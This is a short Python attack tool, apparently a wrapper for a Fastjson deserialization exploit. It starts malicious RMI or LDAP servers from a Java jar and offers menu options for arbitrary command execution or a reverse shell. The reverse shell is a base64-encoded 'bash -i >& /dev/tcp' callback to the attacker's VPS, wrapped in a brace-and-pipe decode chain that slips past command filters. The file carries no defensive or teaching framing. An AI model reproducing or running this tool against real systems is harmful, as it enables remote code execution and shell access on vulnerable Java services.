#!python3
# -*- encoding: utf-8 -*-

'''
@File    :   fastjson_tool.py
@Time    :   2023/08/21 11:04:01
@Author  :   mingy
@Version :   1.0
@Desc    :   None
'''

import os
import time
import base64
import atexit 


def runHRMIServer(vps_ip, cmd):
    os.system(f'java -cp fastjson_tool.jar fastjson.HRMIServer {vps_ip} 9999 "{cmd}"')


def runHLDAPServer(vps_ip, cmd):
    os.system(f'java -cp fastjson_tool.jar fastjson.HLDAPServer {vps_ip} 9998 "{cmd}"')


def bash_shell_encode(vps_ip):
    nc_port = input("set nc_port= ")
    bash_shell = f'bash -i >& /dev/tcp/{vps_ip}/{nc_port} 0>&1'
    bash_shell_b64 = base64.b64encode(bash_shell.encode('utf-8')).decode('utf-8')
    return f'/bin/bash -c {{echo,{bash_shell_b64}}}|{{base64,-d}}|{{bash,-i}}'


def main():
    vps_ip = input("set vps_ip= ")
    print(">>> 请输入数字选择模式 <<<")
    print('''
        >>> [1] Cmd RMI
        >>> [2] Cmd LDAP
        >>> [3] Shell RMI
        >>> [4] Shell LDAP
    ''')
    try:
        num = int(input(">>> "))
        if num not in range(1, 5):
            print("类型选择错误")
            exit()
    except Exception:
        print("请输入1-4的整数")
        exit()
    if num == 1:
        print(">>> 请输入要执行的命令 <<<")
        cmd = str(input(">>> "))
        runHRMIServer(vps_ip, cmd)
    elif num == 2:
        print(">>> 请输入要执行的命令 <<<")
        cmd = str(input(">>> "))
        runHLDAPServer(vps_ip, cmd)
    elif num == 3:
        bash_shell_cmd = bash_shell_encode(vps_ip)
        runHRMIServer(vps_ip, bash_shell_cmd)
    elif num == 4:
        bash_shell_cmd = bash_shell_encode(vps_ip)
        runHLDAPServer(vps_ip, bash_shell_cmd)


if __name__ == '__main__':
    main()